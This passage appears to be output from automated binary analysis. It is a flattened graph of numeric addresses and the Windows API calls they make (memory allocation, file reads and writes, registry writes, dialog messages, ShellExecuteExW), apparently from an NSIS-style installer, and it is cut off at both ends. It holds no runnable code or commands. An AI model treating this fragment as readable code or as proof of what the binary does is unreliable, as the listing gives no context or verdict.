GlobalAlloc 4747->4826 4748->4690 4753 732d16bd 4 API calls 4750->4753 4752 732d212f 4752->4690 4753->4748 4754->4734 4754->4737 4754->4739 4754->4740 4754->4743 4754->4747 4754->4748 4755 732d2067 GlobalFree 4754->4755 4756 732d21ae 4754->4756 4757 732d12cc 2 API calls 4754->4757 4821 732d162f GlobalSize GlobalAlloc 4754->4821 4755->4754 4756->4748 4759 732d2216 lstrcpyW 4756->4759 4757->4754 4759->4748 4762 732d2498 4760->4762 4761 732d12cc GlobalAlloc lstrcpynW 4761->4762 4762->4761 4764 732d25c1 GlobalFree 4762->4764 4766 732d256b GlobalAlloc CLSIDFromString 4762->4766 4767 732d2540 GlobalAlloc 4762->4767 4768 732d2569 4762->4768 4830 732d135a 4762->4830 4764->4762 4765 732d186f 4764->4765 4765->4700 4765->4701 4765->4712 4766->4764 4767->4768 4768->4764 4834 732d27a4 4768->4834 4772 732d2baa 4770->4772 4771 732d2c4f ReadFile 4773 732d2c6d 4771->4773 4772->4771 4773->4712 4775 732d2453 4774->4775 4776 732d245e GlobalAlloc 4775->4776 4777 732d1868 4775->4777 4776->4775 4777->4692 4782 732d2840 4778->4782 4779 732d28ee 4781 732d28f4 GlobalSize 4779->4781 4783 732d28fe 4779->4783 4780 732d28db GlobalAlloc 4780->4783 4781->4783 4782->4779 4782->4780 4783->4717 4785 732d2e2e 4784->4785 4786 732d2e6e GlobalFree 4785->4786 4837 732d12bb GlobalAlloc 4787->4837 4789 732d26d8 MultiByteToWideChar 4795 732d265f 4789->4795 4790 732d270b lstrcpynW 4790->4795 4791 732d26fa StringFromGUID2 4791->4795 4792 732d2742 GlobalFree 4792->4795 4793 732d271e wsprintfW 4793->4795 4794 732d2777 GlobalFree 4794->4709 4795->4789 4795->4790 4795->4791 4795->4792 4795->4793 4795->4794 4796 732d1312 2 API calls 4795->4796 4838 732d1381 4795->4838 4796->4795 4842 732d12bb GlobalAlloc 4798->4842 4800 732d1659 4801 732d1666 2 API calls 4800->4801 4802 732d1663 4801->4802 4803 732d1312 4802->4803 4804 732d131b GlobalAlloc lstrcpynW 4803->4804 4805 732d1355 GlobalFree 4803->4805 4804->4805 4805->4715 4808 732d1672 wsprintfW 4806->4808 4810 732d169f lstrcpyW 4806->4810 4811 732d16b8 4808->4811 4810->4811 4811->4718 4813 732d1931 4812->4813 4814 732d2626 4812->4814 4813->4726 4813->4727 4814->4813 4815 732d2642 GlobalFree 4814->4815 4815->4814 4817 732d1312 2 API calls 4816->4817 4818 732d15fe 4817->4818 4818->4720 4819->4732 4820->4754 4822 732d164d 4821->4822 4822->4754 4829 732d12bb GlobalAlloc 4823->4829 4825 732d12db lstrcpynW 4825->4748 4826->4752 4828 732d16fd GlobalFree 4827->4828 4828->4746 4829->4825 4831 732d1361 4830->4831 4832 732d12cc 2 API calls 4831->4832 4833 732d137f 4832->4833 4833->4762 4835 732d2808 4834->4835 4836 732d27b2 VirtualAlloc 4834->4836 4835->4768 4836->4835 4837->4795 4839 732d13ac 4838->4839 4840 732d138a 4838->4840 4839->4795 4840->4839 4841 732d1390 lstrcpyW 4840->4841 4841->4839 4842->4800 5147 404658 5149 404670 5147->5149 5150 40478a 5147->5150 5148 4047f4 5151 4048be 5148->5151 5152 4047fe GetDlgItem 5148->5152 5153 404499 18 API calls 5149->5153 5150->5148 5150->5151 5156 4047c5 GetDlgItem SendMessageW 5150->5156 5158 404500 8 API calls 5151->5158 5154 404818 5152->5154 5155 40487f 5152->5155 5157 4046d7 5153->5157 5154->5155 5160 40483e SendMessageW LoadCursorW SetCursor 5154->5160 5155->5151 5161 404891 5155->5161 5180 4044bb KiUserCallbackDispatcher 5156->5180 5163 404499 18 API calls 5157->5163 5159 4048b9 5158->5159 5184 404907 5160->5184 5165 4048a7 5161->5165 5166 404897 SendMessageW 5161->5166 5168 4046e4 CheckDlgButton 5163->5168 5165->5159 5170 4048ad SendMessageW 5165->5170 5166->5165 5167 4047ef 5181 4048e3 5167->5181 5178 4044bb KiUserCallbackDispatcher 5168->5178 5170->5159 5173 404702 GetDlgItem 5179 4044ce SendMessageW 5173->5179 5175 404718 SendMessageW 5176 404735 GetSysColor 5175->5176 5177 40473e SendMessageW SendMessageW lstrlenW SendMessageW SendMessageW 5175->5177 5176->5177 5177->5159 5178->5173 5179->5175 5180->5167 5182 4048f1 5181->5182 5183 4048f6 SendMessageW 5181->5183 5182->5183 5183->5148 5187 405b63 ShellExecuteExW 5184->5187 5186 40486d LoadCursorW SetCursor 5186->5155 5187->5186 5188 402b59 5189 402b60 5188->5189 5190 402bab 5188->5190 5193 402d84 17 API calls 5189->5193 5196 402ba9 5189->5196 5191 40690a 5 API calls 5190->5191 5192 402bb2 5191->5192 5194 402da6 17 API calls 5192->5194 5195 402b6e 5193->5195 5197 402bbb 5194->5197 5198 402d84 17 API calls 5195->5198 5197->5196 5199 402bbf IIDFromString 5197->5199 5200 402b7a 5198->5200 5199->5196 5201 402bce 5199->5201 5205 406484 wsprintfW 5200->5205 5201->5196 5206 40653d lstrcpynW 5201->5206 5204 402beb CoTaskMemFree 5204->5196 5205->5196 5206->5204 4953 40175c 4954 402da6 17 API calls 4953->4954 4955 401763 4954->4955 4956 40605c 2 API calls 4955->4956 4957 40176a 4956->4957 4958 40605c 2 API calls 4957->4958 4958->4957 5207 401d5d 5208 402d84 17 API calls 5207->5208 5209 401d6e SetWindowLongW 5208->5209 5210 402c2a 5209->5210 4959 401ede 4960 402d84 17 API calls 4959->4960 4961 401ee4 4960->4961 4962 402d84 17 API calls 4961->4962 4963 401ef0 4962->4963 4964 401f07 EnableWindow 4963->4964 4965 401efc ShowWindow 4963->4965 4966 402c2a 4964->4966 4965->4966 4967 4056de 4968 405888 4967->4968 4969 4056ff GetDlgItem GetDlgItem GetDlgItem 4967->4969 4971 405891 GetDlgItem CreateThread FindCloseChangeNotification 4968->4971 4972 4058b9 4968->4972 5013 4044ce SendMessageW 4969->5013 4971->4972 5016 405672 5 API calls 4971->5016 4974 4058e4 4972->4974 4975 4058d0 ShowWindow ShowWindow 4972->4975 4976 405909 4972->4976 4973 40576f 4983 405776 GetClientRect GetSystemMetrics SendMessageW SendMessageW 4973->4983 4977 4058f0 4974->4977 4978 405944 4974->4978 5015 4044ce SendMessageW 4975->5015 4982 404500 8 API calls 4976->4982 4980 4058f8 4977->4980 4981 40591e ShowWindow 4977->4981 4978->4976 4984 405952 SendMessageW 4978->4984 4985 404472 SendMessageW 4980->4985 4987 405930 4981->4987 4988 40593e 4981->4988 4986 405917 4982->4986 4989 4057e4 4983->4989 4990 4057c8 SendMessageW SendMessageW 4983->4990 4984->4986 4991 40596b CreatePopupMenu 4984->4991 4985->4976 4994 40559f 24 API calls 4987->4994 4995 404472 SendMessageW 4988->4995 4992 4057f7 4989->4992 4993 4057e9 SendMessageW 4989->4993 4990->4989 4996 40657a 17 API calls 4991->4996 4997 404499 18 API calls 4992->4997 4993->4992 4994->4988 4995->4978 4998 40597b AppendMenuW 4996->4998 4999 405807 4997->4999 5000 405998 GetWindowRect 4998->5000 5001 4059ab TrackPopupMenu 4998->5001 5002 405810 ShowWindow 4999->5002 5003 405844 GetDlgItem SendMessageW 4999->5003 5000->5001 5001->4986 5004 4059c6 5001->5004 5005 405833 5002->5005 5006 405826 ShowWindow 5002->5006 5003->4986 5007 40586b SendMessageW SendMessageW 5003->5007 5008 4059e2 SendMessageW 5004->5008 5014 4044ce SendMessageW 5005->5014 5006->5005 5007->4986 5008->5008 5009 4059ff OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 5008->5009 5011 405a24 SendMessageW 5009->5011 5011->5011 5012 405a4d GlobalUnlock SetClipboardData CloseClipboard 5011->5012 5012->4986 5013->4973 5014->5003 5015->4974 5211 4028de 5212 4028e6 5211->5212 5213 4028ea FindNextFileW 5212->5213 5216 4028fc 5212->5216 5214 402943 5213->5214 5213->5216 5217 40653d lstrcpynW 5214->5217 5217->5216 5218 732d170d 5219 732d15b6 GlobalFree 5218->5219 5221 732d1725 5219->5221 5220 732d176b GlobalFree 5221->5220 5222 732d1740 5221->5222 5223 732d1757 VirtualFree 5221->5223 5222->5220 5223->5220 5224 404ce0 5225 404cf0 5224->5225 5226 404d0c 5224->5226 5235 405b81 GetDlgItemTextW 5225->5235 5228 404d12 SHGetPathFromIDListW 5226->5228 5229 404d3f 5226->5229 5231 404d29 SendMessageW 5228->5231 5232 404d22 5228->5232 5230 404cfd SendMessageW 5230->5226 5231->5229 5233 40140b 2 API calls 5232->5233 5233->5231 5235->5230 5236 401563 5237 402ba4 5236->5237 5240 406484 wsprintfW 5237->5240 5239 402ba9 5240->5239 5241 401968 5242 402d84 17 API calls 5241->5242 5243 40196f 5242->5243 5244 402d84 17 API calls 5243->5244 5245 40197c 5244->5245 5246 402da6 17 API calls 5245->5246 5247 401993 lstrlenW 5246->5247 5248 4019a4 5247->5248 5252 4019e5 5248->5252 5253 40653d lstrcpynW 5248->5253 5250 4019d5 5251 4019da lstrlenW 5250->5251 5250->5252 5251->5252 5253->5250 5254 40166a 5255 402da6 17 API calls 5254->5255 5256 401670 5255->5256 5257 406873 2 API calls 5256->5257 5258 401676 5257->5258 5259 402aeb 5260 402d84 17 API calls 5259->5260 5261 402af1 5260->5261 5262 40657a 17 API calls 5261->5262 5263 40292e 5261->5263 5262->5263 4286 4026ec 4287 402d84 17 API calls 4286->4287 4296 4026fb 4287->4296 4288 402838 4289 402745 ReadFile 4289->4288 4289->4296 4290 4027de 4290->4288 4290->4296 4300 40610e SetFilePointer 4290->4300 4291 4060b0 ReadFile 4291->4296 4293 402785 MultiByteToWideChar 4293->4296 4294 40283a 4309 406484 wsprintfW 4294->4309 4296->4288 4296->4289 4296->4290 4296->4291 4296->4293 4296->4294 4297 4027ab SetFilePointer MultiByteToWideChar 4296->4297 4298 40284b 4296->4298 4297->4296 4298->4288 4299 40286c SetFilePointer 4298->4299 4299->4288 4301 40612a 4300->4301 4302 406142 4300->4302 4303 4060b0 ReadFile 4301->4303 4302->4290 4304 406136 4303->4304 4304->4302 4305 406173 SetFilePointer 4304->4305 4306 40614b SetFilePointer 4304->4306 4305->4302 4306->4305 4307 406156 4306->4307 4308 4060df WriteFile 4307->4308 4308->4302 4309->4288 5264 732d1000 5265 732d101b 5 API calls 5264->5265 5266 732d1019 5265->5266 4568 40176f 4569 402da6 17 API calls 4568->4569 4570 401776 4569->4570 4571 401796 4570->4571 4572 40179e 4570->4572 4607 40653d lstrcpynW 4571->4607 4608 40653d lstrcpynW 4572->4608 4575 40179c 4579 4067c4 5 API calls 4575->4579 4576 4017a9 4577 405e0c 3 API calls 4576->4577 4578 4017af lstrcatW 4577->4578 4578->4575 4596 4017bb 4579->4596 4580 406873 2 API calls 4580->4596 4581 406008 2 API calls 4581->4596 4583 4017cd CompareFileTime 4583->4596 4584 40188d 4586 40559f 24 API calls 4584->4586 4585 401864 4587 40559f 24 API calls 4585->4587 4604 401879 4585->4604 4589 401897 4586->4589 4587->4604 4588 40653d lstrcpynW 4588->4596 4590 4032b4 31 API calls 4589->4590 4591 4018aa 4590->4591 4592 4018be SetFileTime 4591->4592 4593 4018d0 FindCloseChangeNotification 4591->4593 4592->4593 4595 4018e1 4593->4595 4593->4604 4594 40657a 17 API calls 4594->4596 4597 4018e6 4595->4597 4598 4018f9 4595->4598 4596->4580 4596->4581 4596->4583 4596->4584 4596->4585 4596->4588 4596->4594 4601 405b9d MessageBoxIndirectW 4596->4601 4606 40602d GetFileAttributesW CreateFileW 4596->4606 4599 40657a 17 API calls 4597->4599 4600 40657a 17 API calls 4598->4600 4602 4018ee lstrcatW 4599->4602 4603 401901 4600->4603 4601->4596 4602->4603 4603->4604 4605 405b9d MessageBoxIndirectW 4603->4605 4605->4604 4606->4596 4607->4575 4608->4576 5267 401a72 5268 402d84 17 API calls 5267->5268 5269 401a7b 5268->5269 5270 402d84 17 API calls 5269->5270 5271 401a20 5270->5271 4618 401573 4619 401583 ShowWindow 4618->4619 4620 40158c 4618->4620 4619->4620 4621 40159a ShowWindow 4620->4621 4622 402c2a 4620->4622 4621->4622 5272 4023f4 5273 402da6 17 API calls 5272->5273 5274 402403 5273->5274 5275 402da6 17 API calls 5274->5275 5276 40240c 5275->5276 5277 402da6 17 API calls 5276->5277 5278 402416 GetPrivateProfileStringW 5277->5278 5279 4014f5 SetForegroundWindow 5280 402c2a 5279->5280 5281 401ff6 5282 402da6 17 API calls 5281->5282 5283 401ffd 5282->5283 5284 406873 2 API calls 5283->5284 5285 402003 5284->5285 5287 402014 5285->5287 5288 406484 wsprintfW 5285->5288 5288->5287 5289 401b77 5290 402da6 17 API calls 5289->5290 5291 401b7e 5290->5291 5292 402d84 17 API calls 5291->5292 5293 401b87 wsprintfW 5292->5293 5294 402c2a 5293->5294 4939 40167b 4940 402da6 17 API calls 4939->4940 4941 401682 4940->4941 4942 402da6 17 API calls 4941->4942 4943 40168b 4942->4943 4944 402da6 17 API calls 4943->4944 4945 401694 MoveFileW 4944->4945 4946 4016a0 4945->4946 4947 4016a7 4945->4947 4949 401423 24 API calls 4946->4949 4948 406873 2 API calls 4947->4948 4951 4022f6 4947->4951 4950 4016b6 4948->4950 4949->4951 4950->4951 4952 4062fd 36 API calls 4950->4952 4952->4946 5028 4022ff 5029 402da6 17 API calls 5028->5029 5030 402305 5029->5030 5031 402da6 17 API calls 5030->5031 5032 40230e 5031->5032 5033 402da6 17 API calls 5032->5033 5034 402317 5033->5034 5035 406873 2 API calls 5034->5035 5036 402320 5035->5036 5037 402331 lstrlenW lstrlenW 5036->5037 5041 402324 5036->5041 5039 40559f 24 API calls 5037->5039 5038 40559f 24 API calls 5042 40232c 5038->5042 5040 40236f SHFileOperationW 5039->5040 5040->5041 5040->5042 5041->5038 5041->5042 5295 4019ff 5296 402da6 17 API calls 5295->5296 5297 401a06 5296->5297 5298 402da6 17 API calls 5297->5298 5299 401a0f 5298->5299 5300 401a16 lstrcmpiW 5299->5300 5301 401a28 lstrcmpW 5299->5301 5302 401a1c 5300->5302 5301->5302 5303 401000 5304 401037 BeginPaint GetClientRect 5303->5304 5305 40100c DefWindowProcW 5303->5305 5306 4010f3 5304->5306 5308 401179 5305->5308 5309 401073 CreateBrushIndirect FillRect DeleteObject 5306->5309 5310 4010fc 5306->5310 5309->5306 5311 401102 CreateFontIndirectW 5310->5311 5312 401167 EndPaint 5310->5312 5311->5312 5313 401112 6 API calls 5311->5313 5312->5308 5313->5312 5314 401d81 5315 401d94 GetDlgItem 5314->5315 5316 401d87 5314->5316 5318 401d8e 5315->5318 5317 402d84 17 API calls 5316->5317 5317->5318 5320 402da6 17 API calls 5318->5320 5322 401dd5 GetClientRect LoadImageW SendMessageW 5318->5322 5320->5322 5321 401e33 5323 401e38 DeleteObject 5321->5323 5324 401e3f 5321->5324 5322->5321 5322->5324 5323->5324 5325 401503 5326 40151e 5325->5326 5327 40150b 5325->5327 5328 402d84 17 API calls 5327->5328 5328->5326 5329 402383 5330 40238a 5329->5330 5333 40239d 5329->5333 5331 40657a 17 API calls 5330->5331 5332 402397 5331->5332 5332->5333 5334 405b9d MessageBoxIndirectW 5332->5334 5334->5333 5335 732d23e9 5336 732d2453 5335->5336 5337 732d245e GlobalAlloc 5336->5337 5338 732d247d 5336->5338 5337->5336 4204 402c05 SendMessageW 4205 402c2a 4204->4205 4206 402c1f InvalidateRect 4204->4206 4206->4205 5339 404f06 GetDlgItem GetDlgItem 5340 404f58 7 API calls 5339->5340 5346 40517d 5339->5346 5341 404ff2 SendMessageW 5340->5341 5342 404fff DeleteObject 5340->5342 5341->5342 5343 405008 5342->5343 5344 40503f 5343->5344 5347 40657a 17 API calls 5343->5347 5348 404499 18 API calls 5344->5348 5345 40525f 5349 40530b 5345->5349 5354 405170 5345->5354 5359 4052b8 SendMessageW 5345->5359 5346->5345 5373 4051ec 5346->5373 5393 404e54 SendMessageW 5346->5393 5352 405021 SendMessageW SendMessageW 5347->5352 5353 405053 5348->5353 5350 405315 SendMessageW 5349->5350 5351 40531d 5349->5351 5350->5351 5361 405336 5351->5361 5362 40532f ImageList_Destroy 5351->5362 5370 405346 5351->5370 5352->5343 5358 404499 18 API calls 5353->5358 5356 404500 8 API calls 5354->5356 5355 405251 SendMessageW 5355->5345 5360 40550c 5356->5360 5374 405064 5358->5374 5359->5354 5364 4052cd SendMessageW 5359->5364 5365 40533f GlobalFree 5361->5365 5361->5370 5362->5361 5363 4054c0 5363->5354 5368 4054d2 ShowWindow GetDlgItem ShowWindow 5363->5368 5367 4052e0 5364->5367 5365->5370 5366 40513f GetWindowLongW SetWindowLongW 5369 405158 5366->5369 5380 4052f1 SendMessageW 5367->5380 5368->5354 5371 405175 5369->5371 5372 40515d ShowWindow 5369->5372 5370->5363 5384 405381 5370->5384 5398 404ed4 5370->5398 5392 4044ce SendMessageW 5371->5392 5391 4044ce SendMessageW 5372->5391 5373->5345 5373->5355 5374->5366 5375 40513a 5374->5375 5379 4050b7 SendMessageW 5374->5379 5381 4050f5 SendMessageW 5374->5381 5382 405109 SendMessageW 5374->5382 5375->5366 5375->5369 5376 4053c5 5385 40548b 5376->5385 5389 405439 SendMessageW SendMessageW 5376->5389 5379->5374 5380->5349 5381->5374 5382->5374 5384->5376 5387 4053af SendMessageW 5384->5387 5386 405496 InvalidateRect 5385->5386 5388 4054a2 5385->5388 5386->5388 5387->5376 5388->5363 5407 404e0f 5388->5407 5389->5376 5391->5354 5392->5346 5394 404eb3 SendMessageW 5393->5394 5395 404e77 GetMessagePos ScreenToClient SendMessageW 5393->5395 5396 404eab 5394->5396 5395->5396 5397 404eb0 5395->5397 5396->5373 5397->5394 5410 40653d lstrcpynW 5398->5410 5400 404ee7 5411 406484 wsprintfW 5400->5411 5402 404ef1 5403 40140b 2 API calls 5402->5403 5404 404efa 5403->5404 5412 40653d lstrcpynW 5404->5412 5406 404f01 5406->5384 5413 404d46 5407->5413 5409 404e24 5409->5363 5410->5400 5411->5402 5412->5406 5414 404d5f 5413->5414 5415 40657a 17 API calls 5414->5415 5416 404dc3 5415->5416 5417 40657a 17 API calls 5416->5417 5418 404dce 5417->5418 5419 40657a 17 API calls 5418->5419 5420 404de4 lstrlenW wsprintfW SetDlgItemTextW 5419->5420 5420->5409 5421 404609 lstrlenW 5422 404628 5421->5422 5423 40462a WideCharToMultiByte 5421->5423 5422->5423 4207 40248a 4208 402da6 17 API calls 4207->4208 4209 40249c 4208->4209 4210 402da6 17 API calls 4209->4210 4211 4024a6 4210->4211 4224 402e36 4211->4224 4214 402c2a 4215 4024de 4217 4024ea 4215->4217 4248 402d84 4215->4248 4216 402da6 17 API calls 4218 4024d4 lstrlenW 4216->4218 4220 402509 RegSetValueExW 4217->4220 4228 4032b4 4217->4228 4218->4215 4222 40251f RegCloseKey 4220->4222 4222->4214 4225 402e51 4224->4225 4251 4063d8 4225->4251 4229 4032cd 4228->4229 4230 4032fb 4229->4230 4258 4034e5 SetFilePointer 4229->4258 4255 4034cf 4230->4255 4234 403468 4236 4034aa 4234->4236 4241 40346c 4234->4241 4235 403318 GetTickCount 4237 403452 4235->4237 4244 403367 4235->4244 4239 4034cf ReadFile 4236->4239 4237->4220 4238 4034cf ReadFile 4238->4244 4239->4237 4240 4034cf ReadFile 4240->4241 4241->4237 4241->4240 4242 4060df WriteFile 4241->4242 4242->4241 4243 4033bd GetTickCount 4243->4244 4244->4237 4244->4238 4244->4243 4245 4033e2 MulDiv wsprintfW 4244->4245 4247 4060df WriteFile 4244->4247 4246 40559f 24 API calls 4245->4246 4246->4244 4247->4244 4249 40657a 17 API calls 4248->4249 4250 402d99 4249->4250 4250->4217 4252 4063e7 4251->4252 4253 4063f2 RegCreateKeyExW 4252->4253 4254 4024b6 4252->4254 4253->4254 4254->4214 4254->4215 4254->4216 4256 4060b0 ReadFile 4255->4256 4257 403306 4256->4257 4257->4234 4257->4235 4257->4237 4258->4230 5424 40498a 5425 4049b6 5424->5425 5426 4049c7 5424->5426 5485 405b81 GetDlgItemTextW 5425->5485 5428 4049d3 GetDlgItem 5426->5428 5461 404a32 5426->5461 5432 4049e7 5428->5432 5429 4049c1 5431 4067c4 5 API calls 5429->5431 5430 404b16 5433 404cc5 5430->5433 5487 405b81 GetDlgItemTextW 5430->5487 5431->5426 5435 4049fb SetWindowTextW 5432->5435 5440 405eb7 4 API calls 5432->5440 5439 404500 8 API calls 5433->5439 5438 404499 18 API calls 5435->5438 5436 40657a 17 API calls 5442 404aa6 SHBrowseForFolderW 5436->5442 5437 404b46 5443 405f14 18 API calls 5437->5443 5444 404a17 5438->5444 5445 404cd9 5439->5445 5441 4049f1 5440->5441 5441->5435 5449 405e0c 3 API calls 5441->5449 5442->5430 5446 404abe CoTaskMemFree 5442->5446 5447 404b4c 5443->5447 5448 404499 18 API calls 5444->5448 5450 405e0c 3 API calls 5446->5450 5488 40653d lstrcpynW 5447->5488 5451 404a25 5448->5451 5449->5435 5452 404acb 5450->5452 5486 4044ce SendMessageW 5451->5486 5455 404b02 SetDlgItemTextW 5452->5455 5460 40657a 17 API calls 5452->5460 5455->5430 5456 404a2b 5458 40690a 5 API calls 5456->5458 5457 404b63 5459 40690a 5 API calls 5457->5459 5458->5461 5467 404b6a 5459->5467 5462 404aea lstrcmpiW 5460->5462 5461->5430 5461->5433 5461->5436 5462->5455 5465 404afb lstrcatW 5462->5465 5463 404bab 5489 40653d lstrcpynW 5463->5489 5465->5455 5466 404bb2 5468 405eb7 4 API calls 5466->5468 5467->5463 5471 405e58 2 API calls 5467->5471 5473 404c03 5467->5473 5469 404bb8 GetDiskFreeSpaceW 5468->5469 5472 404bdc MulDiv 5469->5472 5469->5473 5471->5467 5472->5473 5474 404c74 5473->5474 5476 404e0f 20 API calls 5473->5476 5475 404c97 5474->5475 5477 40140b 2 API calls 5474->5477 5490 4044bb KiUserCallbackDispatcher 5475->5490 5478 404c61 5476->5478 5477->5475 5480 404c76 SetDlgItemTextW 5478->5480 5481 404c66 5478->5481 5480->5474 5483 404d46 20 API calls 5481->5483 5482 404cb3 5482->5433 5484 4048e3 SendMessageW 5482->5484 5483->5474 5484->5433 5485->5429 5486->5456 5487->5437 5488->5457 5489->5466 5490->5482 4276 40290b 4277 402da6 17 API calls 4276->4277 4278 402912 FindFirstFileW 4277->4278 4279 402925 4278->4279 4280 40293a 4278->4280 4281 402943 4280->4281 4284 406484 wsprintfW 4280->4284 4285 40653d lstrcpynW 4281->4285 4284->4281 4285->4279 5491 40190c 5492 401943 5491->5492 5493 402da6 17 API calls 5492->5493 5494 401948 5493->5494 5495 405c49 67 API calls 5494->5495 5496 401951 5495->5496 5497 732d10e1 5503 732d1111 5497->5503 5498 732d12b0 GlobalFree 5499 732d11d7 GlobalAlloc 5499->5503 5500 732d1240 GlobalFree 5500->5503 5501 732d135a 2 API calls 5501->5503 5502 732d12ab 5502->5498 5503->5498 5503->5499 5503->5500 5503->5501 5503->5502 5504 732d1312 2 API calls 5503->5504 5505 732d129a GlobalFree 5503->5505 5506 732d1381 lstrcpyW 5503->5506 5507 732d116b GlobalAlloc 5503->5507 5504->5503 5505->5503 5506->5503 5507->5503 5508 40190f 5509 402da6 17 API calls 5508->5509 5510 401916 5509->5510 5511 405b9d MessageBoxIndirectW 5510->5511 5512 40191f 5511->5512 4609 402891 4610 402898 4609->4610 4611 402ba9 4609->4611 4612 402d84 17 API calls 4610->4612 4613 40289f 4612->4613 4614 4028ae SetFilePointer 4613->4614 4614->4611 4615 4028be 4614->4615 4617 406484 wsprintfW 4615->4617 4617->4611 5513 401491 5514 40559f 24 API calls 5513->5514 5515 401498 5514->5515 5516 401f12 5517 402da6 17 API calls 5516->5517 5518 401f18 5517->5518 5519 402da6 17 API calls 5518->5519 5520 401f21 5519->5520 5521 402da6 17 API calls 5520->5521 5522 401f2a 5521->5522 5523 402da6 17 API calls 5522->5523 5524 401f33 5523->5524 5525 401423 24 API calls 5524->5525 5526 401f3a 5525->5526 5533 405b63 ShellExecuteExW 5526->5533 5528 401f82 5529 4069b5 5 API calls 5528->5529 5531 40292e 5528->5531 5530 401f9f CloseHandle 5529->5530 5530->5531 5533->5528 5534 405513 5535 405523 5534->5535 5536 405537 5534->5536 5538 405529 5535->5538 5546 405580 5535->5546 5537 40553f IsWindowVisible 5536->5537 5541 405556 5536->5541 5540 40554c 5537->5540 5537->5546 5539 4044e5 SendMessageW 5538->5539 5543 405533 5539->5543 5544 404e54 5 API calls 5540->5544 5542 405585 CallWindowProcW 5541->5542 5545 404ed4 4 API calls 5541->5545 5542->5543 5544->5541 5545->5546 5546->5542 5547 402f93 5548 402fa5 SetTimer 5547->5548 5549 402fbe 5547->5549 5548->5549 5550 403013 5549->5550 5551 402fd8 MulDiv wsprintfW SetWindowTextW SetDlgItemTextW 5549->5551 5551->5550 5552 732d1979 5553 732d199c 5552->5553 5554 732d19e3 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z __allrem 5553->5554 5555 732d19d1 GlobalFree 5553->5555 5556 732d1312 2 API calls 5554->5556 5555->5554 5557 732d1b6e GlobalFree GlobalFree 5556->5557 5558 401d17 5559 402d84 17 API calls 5558->5559 5560 401d1d IsWindow 5559->5560 5561 401a20 5560->5561 5562 732d1774 5563 732d17a3 5562->5563 5564 732d1bff 20 API calls 5563->5564 5565 732d17aa 5564->5565 5566 732d17bd 5565->5566 5567 732d17b1 5565->5567 5568 732d17e4 5566->5568 5569 732d17c7 5566->5569 5570 732d1312 2 API calls 5567->5570 5573 732d180e 5568->5573 5574 732d17ea 5568->5574 5572 732d15dd 3 API calls 5569->5572 5571 732d17bb 5570->5571 5576 732d17cc 5572->5576 5575 732d15dd 3 API calls 5573->5575 5577 732d1654 3 API calls 5574->5577 5575->5571 5578 732d1654 3 API calls 5576->5578 5579 732d17ef 5577->5579 5580 732d17d2 5578->5580 5581 732d1312 2 API calls 5579->5581 5582 732d1312 2 API calls 5580->5582 5583 732d17f5 GlobalFree 5581->5583 5584 732d17d8 GlobalFree 5582->5584 5583->5571 5585 732d1809 GlobalFree 5583->5585 5584->5571 5585->5571 4843 403f9a 4844 403fb2 4843->4844 4845 404113 4843->4845 4844->4845 4846 403fbe 4844->4846 4847 404164 4845->4847 4848 404124 GetDlgItem GetDlgItem 4845->4848 4849 403fc9 SetWindowPos 4846->4849 4850 403fdc 4846->4850 4852 4041be 4847->4852 4862 401389 2 API calls 4847->4862 4916 404499 4848->4916 4849->4850 4854 403fe5 ShowWindow 4850->4854 4855 404027 4850->4855 4853 4044e5 SendMessageW 4852->4853 4868 40410e 4852->4868 4885 4041d0 4853->4885 4857 404100 4854->4857 4858 404005 GetWindowLongW 4854->4858 4859 404046 4855->4859 4860 40402f DestroyWindow 4855->4860 4856 40414e KiUserCallbackDispatcher 4861 40140b 2 API calls 4856->4861 4925 404500 4857->4925 4858->4857 4864 40401e ShowWindow 4858->4864 4865 40404b SetWindowLongW 4859->4865 4866 40405c 4859->4866 4915 404422 4860->4915 4861->4847 4867 404196 4862->4867 4864->4855 4865->4868 4866->4857 4871 404068 GetDlgItem 4866->4871 4867->4852 4872 40419a SendMessageW 4867->4872 4869 40140b 2 API calls 4869->4885 4870 404424 DestroyWindow EndDialog 4870->4915 4874 404096 4871->4874 4875 404079 SendMessageW IsWindowEnabled 4871->4875 4872->4868 4873 404453 ShowWindow 4873->4868 4877 4040a3 4874->4877 4878 4040ea SendMessageW 4874->4878 4879 4040b6 4874->4879 4888 40409b 4874->4888 4875->4868 4875->4874 4876 40657a 17 API calls 4876->4885 4877->4878 4877->4888 4878->4857 4882 4040d3 4879->4882 4883 4040be 4879->4883 4881 404499 18 API calls 4881->4885 4887 40140b 2 API calls 4882->4887 4886 40140b 2 API calls 4883->4886 4884 4040d1 4884->4857 4885->4868 4885->4869 4885->4870 4885->4876 4885->4881 4890 404499 18 API calls 4885->4890 4906 404364 DestroyWindow 4885->4906 4886->4888 4889 4040da 4887->4889 4922 404472 4888->4922 4889->4857 4889->4888 4891 40424b GetDlgItem 4890->4891 4892 404260 4891->4892 4893 404268 ShowWindow KiUserCallbackDispatcher 4891->4893 4892->4893 4919 4044bb KiUserCallbackDispatcher 4893->4919 4895 404292 EnableWindow 4900 4042a6 4895->4900 4896 4042ab GetSystemMenu EnableMenuItem SendMessageW 4897 4042db SendMessageW 4896->4897 4896->4900 4897->4900 4899 403f7b 18 API calls 4899->4900 4900->4896 4900->4899 4920 4044ce SendMessageW 4900->4920 4921 40653d lstrcpynW 4900->4921 4902 40430a lstrlenW 4903 40657a 17 API calls 4902->4903 4904 404320 SetWindowTextW 4903->4904 4905 401389 2 API calls 4904->4905 4905->4885 4907 40437e CreateDialogParamW 4906->4907 4906->4915 4908 4043b1 4907->4908 4907->4915 4909 404499 18 API calls 4908->4909 4910 4043bc GetDlgItem GetWindowRect ScreenToClient SetWindowPos 4909->4910 4911 401389 2 API calls 4910->4911 4912 404402 4911->4912 4912->4868 4913 40440a ShowWindow 4912->4913 4914 4044e5 SendMessageW 4913->4914 4914->4915 4915->4868 4915->4873 4917 40657a 17 API calls 4916->4917 4918 4044a4 SetDlgItemTextW 4917->4918 4918->4856 4919->4895 4920->4900 4921->4902 4923 404479 4922->4923 4924 40447f SendMessageW 4922->4924 4923->4924 4924->4884 4926 4045c3 4925->4926 4927 404518 GetWindowLongW 4925->4927 4926->4868 4927->4926 4928 40452d 4927->4928 4928->4926 4929 40455a GetSysColor 4928->4929 4930 40455d 4928->4930 4929->4930 4931 404563 SetTextColor 4930->4931 4932 40456d SetBkMode 4930->4932 4931->4932 4933 404585 GetSysColor 4932->4933 4934 40458b 4932->4934 4933->4934 4935 404592 SetBkColor 4934->4935 4936 40459c 4934->4936 4935->4936 4936->4926 4937 4045b6 